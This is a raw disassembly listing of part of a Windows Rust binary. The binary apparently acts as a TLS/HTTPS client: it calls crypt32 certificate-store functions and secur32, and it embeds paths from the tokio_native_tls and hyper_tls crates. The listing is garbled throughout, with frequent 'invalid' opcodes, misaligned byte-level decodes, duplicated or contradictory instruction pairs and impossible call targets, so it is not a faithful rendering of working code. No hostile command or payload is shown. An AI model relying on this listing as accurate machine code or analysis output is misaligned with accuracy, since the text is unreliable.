cmp rbp, 2
jne 0x1400b4337
movzx eax, byte [0x140182310]
mov edx, 8
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400b4ba4
mov qword [rax], r14
lea r13, [0x14013d028]
mov r14, rax
cmp qword [rdi], 0
jne 0x1400b3aaf
movaps xmm0, xmmword [rsp + 0x570]
movaps xmmword [rsp + 0xf0], xmm0
lea rcx, [rsp + 0x8c0]
lea rdx, [rsp + 0x9a8]
mov r8d, 0xe8
call fcn.140106250
cmp qword [rdi], 0
je 0x1400b4372
mov rcx, qword [rdi + 8]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rdi + 0x10]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
cmp qword [rdi + 0x20], 0
jne 0x1400b3ad1
movups xmm0, xmmword [rsp + 0x168]
movaps xmmword [rsp + 0x110], xmm0
mov r12, qword [rsp + 0x178]
lea rdx, [rsp + 0x180]
lea rbx, [rsp + 0x5d8]
mov r8d, pe_nt_image_headers64
mov rcx, rbx
call fcn.140106250
movups xmm6, xmmword [rsp + 0x158]
movaps xmm0, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x398]
mov r8d, pe_nt_image_headers64
mov rdx, rbx
call fcn.140106250
mov qword [rdi + 0x208], rbp
mov qword [rdi + 0x210], r14
movups xmmword [rdi + 0x218], xmm6
movaps xmm0, xmmword [rsp + 0x40]
movups xmmword [rdi + 0x228], xmm0
mov qword [rdi + 0x238], r12
mov qword [rdi + 0x240], 0
lea rdx, [rsp + 0x3a0]
mov r8d, 0xe8
mov rcx, r15
call fcn.140106250
mov rax, qword [rsp + 0x58]
mov byte [rax], 4
mov rax, qword [rsp + 0x38]
mov byte [rax], 3
mov qword [rsi], 4
mov al, 4
mov byte [rdi + 0x49], al
mov rax, rsi
movaps xmm6, xmmword [rsp + 0xa90]
add rsp, 0xaa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp byte [r15 + 0x1b], 0
movabs rbx, 0x8000000000000000
je 0x1400b4546
mov rcx, qword [r15 + 0x10]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov r15, rax
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400b4bd0
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], r15
mov rcx, qword [rsp + 0x3d8]
test rcx, rcx
je 0x1400b4527
lock dec qword [rcx]
lea r15, [0x140141f38]
jne 0x1400b452e
mov rcx, qword [rsp + 0x3d8]
mov rdx, qword [rsp + 0x3e0]
mov r12, r14
mov r14, rax
call fcn.140005050
mov rax, r14
mov r14, r12
jmp 0x1400b452e
lea r15, [0x140141ed8]
jmp 0x1400b452e
lea r15, [0x140141f38]
mov qword [rsp + 0x3d8], rax
mov qword [rsp + 0x3e0], r15
movzx eax, byte [rsp + 0x3e8]
lea r9, [rsp + 0x3c0]
movups xmm0, xmmword [rsp + 0x90]
movups xmm1, xmmword [rsp + 0xa0]
movups xmm2, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x130], xmm2
movaps xmmword [rsp + 0x120], xmm1
movaps xmmword [rsp + 0x110], xmm0
mov r12, qword [rsp + 0x3a8]
xor ecx, ecx
mov r8d, 0
add byte [rax], al
add byte [rax], al
test al, al
je 0x1400b459a
mov r8, qword [rsp + 0x3b0]
cmp r12, rbx
cmove r8, rcx
ror dword [rax - 0x73], 0x8c
and al, 0x70
add al, byte [rax]
add byte [rcx + rcx*4 - 0xe], cl
ror dword [rax - 0x73], 0x8c
and al, 0x70
add al, byte [rax]
add byte [rcx + rcx*4 - 0xe], cl
call case.0x1400aa904.218
mov r13, qword [rsp + 0x280]
and al, 0x80
add al, byte [rax]
add byte [rcx - 0x7d], cl
std
add dh, byte [rbp + 0x4c]
and al, 0x80
add al, byte [rax]
add byte [rcx - 0x7d], cl
std
add dh, byte [rbp + 0x4c]
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0x148], 2
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x140], 1
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rdx], fs
add dword [rax], eax
add al, ch
xchg rbx, rax
invalid
push rax
dec qword [r14]
dec dword [rsi]
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rdx], fs
add dword [rax], eax
add al, ch
xchg rbx, rax
invalid
dec dword [rsi]
jne 0x1400b492e
mov rcx, r14
call fcn.1400ae130
sub bl, byte [rbx + 0x23e9ffff]
add eax, dword [rax]
invalid
sub bl, byte [rbx + 0x23e9ffff]
add eax, dword [rax]
add byte [rdi], cl
sub byte [rsp + 0x270], dh
movaps xmm6, xmmword [rsp + 0x270]
mov r15d, dword [rsp + 0x288]
mov edi, dword [rsp + 0x288]
and al, 0x88
add al, byte [rax]
add byte [rax - 0x75], cl
test byte [rax + rdx*4], ah
add al, byte [rax]
add byte [rax - 0x77], cl
and al, 0x50
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x398], 0
mov esp, 0x39824
cwde
add eax, dword [rax]
add byte [rax], al
je 0x1400b4662
mov rcx, qword [rsp + 0x3a0]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov qword [rsp + 0x80], rax
mov eax, 1
mov qword [rsp + 0x30], rax
mov r12, qword [rsp + 0x3a8]
cmp r12, rbx
jne 0x1400b466e
jmp 0x1400b46d1
xor eax, eax
mov qword [rsp + 0x30], rax
cmp r12, rbx
cmp esp, ebx
cmp esp, ebx
je 0x1400b4660
mov r12, qword [rsp + 0x3b0]
add byte [rax], al
mov rbx, qword [rsp + 0x3b8]
test rbx, rbx
je 0x1400b46b7
invalid
xor al, 0x48
mov eax, ebx
mov rax, rbx
shr rax, 0x3e
jne 0x1400b4bec
add byte [rax], al
lea rbp, [rbx + rbx]
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rbp
call fcn.1400dfbe0
mov ch, 2
add byte [rax - 0x7b], cl
invalid
jne 0x1400b46be
mov ch, 2
add byte [rax - 0x7b], cl
sal byte [rbp + 0x14], 0xb9
add al, byte [rax]
add byte [rax], al
mov ecx, 2
mov rdx, rbp
call fcn.140107fc0
mov eax, 2
xor ebp, ebp
mov qword [rsp + 0x70], rax
mov rcx, rax
mov ecx, eax
mov ecx, eax
mov rdx, r12
mov r8, rbp
mov eax, ebp
mov eax, ebp
call fcn.140106250
movzx eax, byte [rsp + 0x3e8]
movzx ecx, byte [rsp + 0x3e9]
mov rbp, qword [rsp + 0x3d8]
test rbp, rbp
test ebp, ebp
add eax, dword [rax]
add byte [rdi], cl
mov dh, 0x8c
and al, 0xe9
add eax, dword [rax]
add byte [rax - 0x75], cl
lodsb al, byte [rsi]
and al, 0xd8
add eax, dword [rax]
add byte [rax - 0x7b], cl
test ebp, ebp
test ebp, ebp
je 0x1400b473f
mov rdx, qword [rsp + 0x3e0]
mov qword [rsp + 0x78], rdx
lock inc qword [rbp]
jle case.0x1400b3986.2
test r13, r13
mov byte [rsp + 0x2f], al
mov byte [rsp + 0x2e], cl
je 0x1400b474c
test r15d, r15d
test edi, edi
je 0x1400b4757
movzx eax, byte [0x140182310]
add eax, 0xcdbf1
xor ecx, ecx
mov rdx, r15
call fcn.1400dfbe0
mov ah, 2
add byte [rax - 0x7b], cl
ror byte [rbx + rcx*4 + 0x6c], 0x24
push rax
mov ah, 2
add byte [rax - 0x7b], cl
ror byte [rbx + rcx*4 + 0x6c], 0x24
push rax
je case.0x140068ed1.335
mov r12, rax
mov rdx, r13
jmp 0x1400b4767
test r13, r13
mov byte [rsp + 0x2f], al
mov byte [rsp + 0x2e], cl
jne 0x1400b4713
mov r12d, 1
xor r15d, r15d
jmp 0x1400b477b
mov edx, 1
add dword [rax], eax
add byte [rax], al
mov r12d, 1
mov r13, qword [rsp + 0x50]
mov rcx, r12
mov r8, r15
clc
call fcn.140106250
mov rcx, r13
call qword [sym.imp.secur32.dll_FreeContextBuffer]
adc eax, 0x5dd95
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x3c0], rax
je 0x1400b47c1
add eax, dword [rax]
add byte [rdx + rsi + 0x48], dh
mov edx, dword [rsp + 0x3c8]
mov rdx, qword [rsp + 0x3c8]
mov r8, qword [rsp + 0x3d0]
lea rcx, [rsp + 0x140]
call fcn.1400af800
mov rax, qword [rsp + 0x140]
test byte [rax + rax*2], ah
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x148], al
add byte [rax], al
test byte [rax + rax*2], ah
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x148], al
add byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [rsp + 0x90]
adc byte [rsp + 0x90], al
movups xmm1, xmmword [rsp + 0xa0]
movups xmm2, xmmword [rsp + 0xb0]
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0xb0], dl
movups xmmword [rsp + 0x2a0], xmm2
movups xmmword [rsp + 0x290], xmm1
adc dword [rsp + 0x290], ecx
movups xmmword [rsp + 0x280], xmm0
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x270], rcx
mov rcx, qword [rsp + 0x80]
mov qword [rsp + 0x278], rcx
mov qword [rsp + 0x2b0], 0
mov qword [rsp + 0x2b8], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x2c0], xmm0
mov qword [rsp + 0x2d0], 0
mov dword [rsp + 0x2d0], 0
mov dword [rsp + 0x2d0], 0
mov qword [rsp + 0x2d8], 1
movups xmmword [rsp + 0x2e0], xmm0
mov qword [rsp + 0x2f0], r15
mov qword [rsp + 0x2f8], r12
mov qword [rsp + 0x300], r15
mov qword [rsp + 0x308], 0
mov qword [rsp + 0x310], rbx
add byte [rax - 0x75], cl
and al, 0x70
add byte [rax - 0x75], cl
and al, 0x70
mov qword [rsp + 0x318], rcx
mov qword [rsp + 0x320], rbx
mov qword [rsp + 0x328], rax
movaps xmm0, xmmword [rsp + 0x40]
movups xmmword [rsp + 0x330], xmm0
mov dword [rsp + 0x340], 0x10000
mov byte [rsp + 0x344], 0
mov qword [rsp + 0x358], r14
movups xmmword [rsp + 0x360], xmm6
mov qword [rsp + 0x370], rbp
lodsb al, byte [rsi]
and al, 0x70
add eax, dword [rax]
add byte [rax], al
lodsb al, byte [rsi]
and al, 0x70
add eax, dword [rax]
add byte [rax], al
mov rax, qword [rsp + 0x78]
add byte [rax], al
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x378], rax
mov qword [rsp + 0x380], 1
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
mov dh, 0x44
and al, 0x2f
add byte [rax - 0x39], cl
test byte [rax + rax*4], ah
add eax, dword [rax]
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
mov dh, 0x44
and al, 0x2f
mov byte [rsp + 0x390], al
movzx eax, byte [rsp + 0x2e]
mov byte [rsp + 0x391], al
mov word [rsp + 0x392], 0x100
mov dword [rsp + 0x392], 0x8d480100
mov word [rax + rax*2], fs
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x70
add al, byte [rax]
add al, ch
rol byte [rdx], cl
add byte [rax], al
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x70
add al, byte [rax]
add al, ch
rol byte [rdx], cl
add byte [rax], al
mov rax, qword [rsp + 0x140]
mov rbx, qword [rsp + 0x148]
mov r12, qword [rsp + 0x150]
add dword [rax], eax
add byte [rax - 0x75], cl
pushfq
and al, 0x48
add dword [rax], eax
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0x50
add dword [rax], eax
add byte [rax - 0x77], cl
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x1400b4956
cmp rbx, 2
je 0x1400b4971
sti
add dh, byte [rbx + rbx + 0x48]
lea edx, [rsp + 0x158]
add byte [rax], al
lea rdx, [rsp + 0x158]
lea rcx, [rsp + 0x5d8]
mov r8d, 0x118
call fcn.140106250
lea rcx, [rsp + 0x398]
call fcn.1400afa10
mov rax, qword [rsp + 0x4a0]
test byte [rax + riz*4], ah
add al, 0
add byte [rax - 0x2f], cl
shl rax, 1
test rax, rax
add eax, dword [rax]
add al, ch
xchg edx, eax
mov al, 0xff
dec dword [rax - 0x75]
test byte [rax + riz*4], ah
add al, 0
add byte [rax - 0x2f], cl
shl rax, 1
invalid
movabs al, byte [0x8548e0d148000004]
sal byte [rbp + 0x27], 0x48
mov eax, dword [rsp + 0x4b8]
test eax, eax
jne 0x1400b49b5
mov rax, qword [rsp + 0x4b8]
shl rax, 1
shl eax, 1
test rax, rax
jne 0x1400b49dc
mov r15, qword [rsp + 0x490]
mov r13, qword [rsp + 0x498]
add al, 0
add byte [rbp - 0x7b], cl
in eax, dx
add al, 0
add byte [rbp - 0x7b], cl
in eax, dx
jne 0x1400b4a08
jmp 0x1400b4a2f
mov r8, qword [rsp + 0x4a8]
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
or eax, 0xcd89c
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x4b8]
add byte [rax], al
add byte [rax], al
shl rax, 1
test rax, rax
loopne 0x1400b4a20
test eax, eax
je 0x1400b499e
mov r8, qword [rsp + 0x4c0]
add byte [rax], al
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r15, qword [rsp + 0x490]
and al, 0x90
add al, 0
add byte [rbx + rcx*4 - 0x54], cl
and al, 0x98
add al, 0
add byte [rbp - 0x7b], cl
in eax, dx
and al, 0x90
add al, 0
add byte [rbx + rcx*4 - 0x54], cl
and al, 0x98
add al, 0
add byte [rbp - 0x7b], cl
in eax, dx
je 0x1400b4a2f
xor ebp, ebp
mov r14, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rcx - 0x75], cl
or al, 0xef
mov rcx, qword [r15 + rbp*8]
inc rbp
call r14
cmp r13, rbp
jne 0x1400b4a20
invalid
cmp qword [rsp + 0x488], 0
je 0x1400b4a4c
add byte [rdx + rdx + 0x48], dh
mov ecx, dword [0x140182260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x30], 0
mov r14, r12
je case.0x140050c3f.385
cmp rbx, 2
je 0x1400b3fd9
lea rcx, [rsp + 0x140]
lea rdx, [rsp + 0x5d8]
mov r8d, 0x118
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xd8
add eax, 0xb8410000
sbb byte [rcx], al
add byte [rax], al
call fcn.140106250
movups xmm0, xmmword [rsp + 0x140]
and al, 0x40
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x150], cl
and al, 0x40
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x150], cl
movaps xmmword [rsp + 0xc0], xmm0
movaps xmmword [rsp + 0xd0], xmm1
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0xe0], rax
lea rdx, [rsp + 0x170]
lea rcx, [rsp + 0x6f0]
mov r8d, 0xe8
call 0x1280b4ac3
mov dword [rdi], edx
invalid
add eax, 0x1bd4100
add byte [rax], al
add cl, ch
adc ch, dh
cmc
invalid
invalid
call 0x1280b4ac3
mov dword [rdi], edx
invalid
add eax, 0x1bd4100
invalid
add byte [rax], al
add cl, ch
adc ch, dh
cmc
cmc
invalid
lea rcx, [rsp + 0x140]
lea rdx, [rsp + 0x5d8]
fadd dword [0xf84c4ae4]
sbb byte [rcx], al
add byte [rax], al
mov word [rax + rax*2], fs
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xd8
fadd dword [0xf84c4ae4]
fadd dword [0xf84c4ae4]
mov eax, 0x118
sbb byte [rcx], al
add byte [rax], al
call fcn.140106250
movups xmm0, xmmword [rsp + 0x140]
movups xmm1, xmmword [rsp + 0x150]
mov word [rax + rdx*2], fs
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0xc0], eax
mov word [rax + rdx*2], fs
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0xc0], eax
movaps xmmword [rsp + 0xd0], xmm1
rol byte [rax], 1
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + riz*2], ah
add dword [rax], eax
add byte [rax], al
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0xe0], rax
mov dword [rsp + 0xe0], eax
add byte [rax - 0x77], cl
test byte [rax + riz*8], ah
mov dword [rsp + 0xe0], eax
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
lea rdx, [rsp + 0x170]
lea rcx, [rsp + 0x6f0]
lea ecx, [rsp + 0x6f0]
xchg esp, eax
and al, 0x70
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
mov word [rax + rsi*8], fs
and al, 0xf0
lea ecx, [rsp + 0x6f0]
and al, 0xf0
invalid
mov r8d, 0xe8
add byte [rax], al
call fcn.140106250
xor r13d, r13d
in eax, dx
add eax, 0xed314500
in eax, dx
jmp 0x1400b3fe2
lea rcx, str.future_polled_after_completionC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_native_tls_0.3.1_srclib.rs
lea r8, [0x14013c6a8]
pop rdx
jnp 0x1400b4b55
add byte [rdx + 0x1e], bh
pop rdx
jnp 0x1400b4b55
add byte [rdx + 0x1e], bh
call fcn.1401086b0
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_tls_0.5.0_srcclient.rs
or eax, 0x87c89
cmp eax, dword [0x14d98935b]
mov dword [rax + rcx], edi
or eax, 0x87c89
call fcn.140108880
add byte [rcx + 1], bh
mov ecx, 1
mov rdx, r14
mov edx, esi
bnd call fcn.140107fc0
call fcn.140107fc0
lea rcx, str.future_polled_after_completionC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_native_tls_0.3.1_srclib.rs
lea ecx, str.future_polled_after_completionC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_native_tls_0.3.1_srclib.rs
or byte [rax], al
add byte [rbp + rcx*4 + 5], cl
adc ecx, 0x1eba0008
invalid
invalid
invalid
add byte [rax], al
lea r8, [0x140141d00]
add byte [rdx + 0x1e], bh
mov edx, 0x1e
add al, ch
invalid
call fcn.1401086b0
lea rcx, [0x14013d678]
lea ecx, [0x14013d678]
call fcn.140108880
mov ecx, 8
add byte [rax], al
add byte [rdx + 0x20], bh
invalid
jmp 0x1400b4bcf
add byte [rax], al
add byte [rdx + 0x20], bh
invalid
add al, ch
cmp al, 0x34
add eax, 0x8b900
add byte [rax], al
call fcn.140107fe0
mov ecx, 8
mov edx, 8
call fcn.140107fe0
mov ecx, 8
mov edx, 0x10
add byte [rax], al
add al, ch
invalid
xor al, 5
invalid
add byte [rax], al
add al, ch
invalid
lea rcx, [0x14013d6d8]
call fcn.140108880
cmp al, 5
invalid
cmp al, 5
add byte [rdi], cl
invalid
ud2
or edi, dword [rcx + 8]
mov ecx, 8
mov edx, 0x18
call fcn.140107fe0
mov ecx, 1
mov rdx, r15
call fcn.140107fc0
call fcn.140010b00
int3
mov rsi, rcx
lea rcx, [rsp + 0x28]
call fcn.1400b1dd0
cmp dword [rsp + 0x28], 2
add cl, byte [rdi]
invalid
invalid
add byte [rax], al
invalid
add cl, byte [rdi]
test dword [rcx + 0x48000000], eax
mov ebx, dword [rsp + 0x30]
mov rbx, qword [rsp + 0x30]
mov rcx, rbx
call fcn.14001a570
fld1
pop r9
idiv bh
cmp al, 0xd
jne 0x1400b4cc4
lea rcx, [rsi + 8]
mov r8d, 0x128
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x77], cl
mov rdx, rdi
mov rdx, rdi
call fcn.140106250
mov qword [rsi], 1
mov eax, ebx
and eax, 3
cmp eax, 1
jne 0x1400b4cbc
lea rsi, [rbx - 1]
mov rdi, qword [rbx - 1]
mov rbx, qword [rbx + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400b4c8f
cmp qword [rbx + 0x10], 0x11
jb 0x1400b4c7d
mov rdi, qword [rdi - 8]
mov edi, dword [rdi - 8]
mov rcx, qword [0x140182260]
or eax, 0xcd5dc
xor edx, edx
mov r8, rdi
mov eax, edi
mov eax, edi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
or eax, 0xcd5ca
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
invalid
add bl, ch
invalid
invalid
lea rcx, [rsi + 8]
mov r8d, 0x128
mov rdx, rdi
cli
cli
call fcn.140106250
mov qword [rsi], 0
adc eax, 0xc7480005
invalid
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
mov qword [rsi + 8], 2
add byte [rax], al
mov qword [rsi + 0x10], rbx
mov qword [rsi], 1
add byte [rax], al
add byte [rax], al
mov rcx, rdi
add rsp, 0x40
add esp, 0x40
add esp, 0x40
pop rbx
pop rbx
pop rdi
pop rsi
jmp fcn.1400addd0
int3
push rdi
sub rsp, 0x28
mov rdi, rcx
cmp qword [rcx + 8], 0
jns case.0x14007337a.386
invalid
je 0x1400b4d12
jns case.0x14007337a.386
add byte [rdx + rdx + 0x4c], dh
mov eax, dword [rdi]
mov r8, qword [rdi]
mov rcx, qword [0x140182260]
or eax, 0xcd556
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rdi + 0x10]
ja 0x1400b4d26
test rsi, rsi
je 0x1400b4d4f
mov rdi, qword [rdi + 0x18]
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x1400b4d4f
jg case.0x14001a5bd.2213
add byte [rsp + 0x48], dh
cmp dword [rdi + 0x10], 0x11
cmp qword [rdi + 0x10], 0x11
jg 0x1400b4d3f
adc dword [rdx + 4], esi
jb 0x1400b4d36
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
add rsp, 0x28
invalid
sub byte [rdi + 0x5e], bl
jmp qword [sym.imp.kernel32.dll_HeapFree]
invalid
nop
add rsp, 0x28
invalid
sub byte [rdi + 0x5e], bl
ret
invalid
mov edx, dword [rcx + 0x18]
ret
int3
xchg ebx, eax
jo 0x1400b4d2d
std
cmp al, 0xa4
add ebx, eax
int3
int3
and al, ch
invalid
mov rcx, rsi
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
invalid
rol dword [0x1389495c9], cl
add byte [rax - 0x77], cl
clc
invalid
add byte [rax - 0x77], cl
clc
add rsp, 0x28
pop rdi
pop rsi
ret
sub byte [rax - 0x75], cl
or bh, bh
adc eax, 0x5d3f3
xor eax, eax
add rsp, 0x28
ret
int3
int3
mov eax, dword [rax + 0x18]
lea rdx, [0x1401419b5]
add byte [rcx - 0x48], al
sbb byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
sbb byte [rax], al
add byte [rax], al
jmp rax
cmp dword [rdi + 0x48c3d2a5], eax
mov edx, 0x648812b5
out dx, eax
xchg dword [rbp - 0x45b73c2e], esp
mov ch, 0x12
mov byte [rdi + rbp*8 + 0x19], ah
jns 0x1400b4de5
out dx, eax
sbb dword [rcx - 0x3f], edi
ret
int3
mov rsi, rcx
movzx eax, byte [rcx + 0xeb0]
invalid
mov al, 0xe
add byte [rax], al
test eax, eax
je 0x1400b4e8a
xor dword [rax - 0x7afffff2], 0x834674c0
clc
add esi, dword [rbp + 0x39]
jne 0x1400b4e82
cmp eax, 3
jne 0x1400b4e82
lea rcx, [rsi + 0x70]
call fcn.1400b8380
mov rax, qword [rsi + 0x58]
lock dec qword [rax]
jne 0x1400b4e65
invalid
or dword [rax - 0x75], ecx
pop rax
mov rcx, qword [rsi + 0x58]
call fcn.14004f050
mov rax, qword [rsi + 0x60]
mov eax, dword [rsi + 0x60]
lock dec qword [rax]
jne 0x1400b4e82
mov rcx, qword [rsi + 0x60]
mov rdx, qword [rsi + 0x68]
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.140005050
nop
add rsp, 0x28
pop rdi
pop rsi
ret
mov rax, qword [rsi + 0x58]
mov eax, dword [rsi + 0x58]
lock dec qword [rax]
je 0x1400b4efe
mov rax, qword [rsi + 0x60]
lock dec qword [rax]
je case.0x14007337a.382
invalid
jae 0x1400b4e1f
cmp byte [rsi], 2
jb 0x1400b4ecb
add dh, byte ds:[rdx + 0x28]
mov rdi, qword [rsi + 8]
lea rcx, [rdi + 0x18]
sbb byte [r8 - 0x75], r9b
invalid
mov rdx, qword [rdi + 8]
mov edx, dword [rdi + 8]
or byte [rbx + rcx*4 + 0x47], cl
invalid
sbb byte [r8 - 0x75], r9b
sbb byte [rax - 0x75], cl
invalid
or byte [rbx + rcx*4 + 0x47], cl
adc bh, bh
push rax
adc byte [rax - 0x75], cl
or eax, 0xcd3a0
ror dword [rax + rax], cl
mov eax, dword [rdi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
ror dword [rax + rax], cl
ror dword [rax + rax], cl
add byte [rcx], dh
xor edx, edx
mov r8, rdi
ror byte [rcx - 0x77], cl
clc
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x5d495
xchg ebp, eax
invalid
lea rcx, [rsi + 0x28]
mov rax, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
push rsi
invalid
push rsi
sbb byte [rbx + rcx*4 + 0x46], cl
mov r8, qword [rsi + 0x20]
invalid
mov r8, qword [rsi + 0x20]
call qword [rax + 0x10]
mov rax, qword [rsi + 0x30]
mov eax, dword [rsi + 0x30]
and dil, r15b
push rax
adc byte [rax - 0x75], cl
mov eax, dword [rsi + 0x30]
mov rdx, qword [rsi + 0x38]
mov rax, qword [rax + 0x10]
adc byte [rbx + rcx*4 + 0x46], cl
mov eax, dword [rsi + 0x30]
mov rdx, qword [rsi + 0x38]
mov rax, qword [rax + 0x10]
adc byte [rbx + rcx*4 + 0x46], cl
add rsi, 0x48
adc byte [rbx + rcx*4 + 0x46], cl
add rsi, 0x48
mov rcx, rsi
add rsp, 0x28
add esp, 0x28
add esp, 0x28
pop rdi
pop rsi
jmp rax
invalid
loopne 0x1400b4f47
mov rcx, qword [rsi + 0x58]
mov ecx, dword [rsi + 0x58]
call fcn.14004f050
mov rax, qword [rsi + 0x60]
lock dec qword [rax]
jne 0x1400b4e9e
mov rcx, qword [rsi + 0x60]
mov rdx, qword [rsi + 0x68]
call fcn.140005050
add ebp, esi
inc dword [rax - 0x7f8cfdc2]
add dh, byte ds:[rbx - 0x80]
add ebp, esi
inc dword [rax - 0x7f8cfdc2]
add dh, byte ds:[rbx - 0x80]
add dh, byte ds:[rbx - 0x80]
jmp 0x1400b4ecb
int3
int3
push rsi
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xb48
or rax, qword [rax]
add byte [rsi + 0xf], ah
sub dword [rsp + 0xb30], esi
or eax, dword [rax]
invalid
or rax, qword [rax]
add byte [rsi + 0xf], ah
sub dword [rsp + 0xb30], esi
or eax, dword [rax]
invalid
and al, 0x30
or eax, dword [rax]
add byte [rcx + rcx*4 - 0x3a], cl
mov rsi, r8
mov rdi, rdx
xlatb
mov rbx, rcx
movzx eax, byte [rdx + 0xeb0]
test eax, eax
je 0x1400b4f94
cmp eax, 3
jne case.default.0x1400b4f89
clc
add ecx, dword [rdi]
jne case.default.0x1400b4f89
lea r13, [rdi + 0x132]
lea r13, [rdi + 0x132]
movzx eax, byte [rdi + 0x132]
mov dh, 0x87
xor al, byte [rcx]
add byte [rax], al
lea rbp, [rdi + 0x70]
lea rcx, [0x140177f18]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
add eax, ecx
jmp rax
mov r14, qword [rdi + 0xc8]
jmp 0x1400b4fef
lea r14, [rdi + 0x58]
lea rbp, [rdi + 0x70]
lea ebp, [rdi + 0x70]
lea ebp, [rdi + 0x70]
mov rax, qword [rdi + 0x50]
mov qword [rdi + 0xc0], rax
movups xmm0, xmmword [rdi + 0x40]
movups xmmword [rdi + 0xb0], xmm0
movups xmmword [rdi + 0xb0], xmm0
mov al, 0
add byte [rax], al
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
adc byte [rdi + 0x20], dl
adc byte [rdi + 0x20], dl
movups xmm3, xmmword [rdi + 0x30]
movups xmmword [rdi + 0xa0], xmm3
pop rdi
xor byte [rdi], cl
adc dword [rdi + 0xa0], ebx
movups xmmword [rdi + 0x90], xmm2
add byte [rax], al
movups xmmword [rdi + 0x80], xmm1
movups xmmword [rdi + 0x70], xmm0
adc dword [rdi + 0x70], eax
pop qword [rax + 0xf000000]
add byte [rax], al
add byte [rdi], cl
adc dword [rdi + 0x70], eax
mov qword [rdi + 0xc8], r14
lea r13, [rdi + 0x132]
add dword [rax], eax
add dh, al
xchg dword [rdx], esi
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add dh, al
xchg dword [rdx], esi
add dword [rax], eax
add byte [rax], al
mov byte [rdi + 0x133], 0
movups xmm0, xmmword [rbp]
invalid
add byte [rdi], cl
adc byte [rbp + 0x10], cl
movups xmm1, xmmword [rbp + 0x10]
movups xmm2, xmmword [rbp + 0x20]
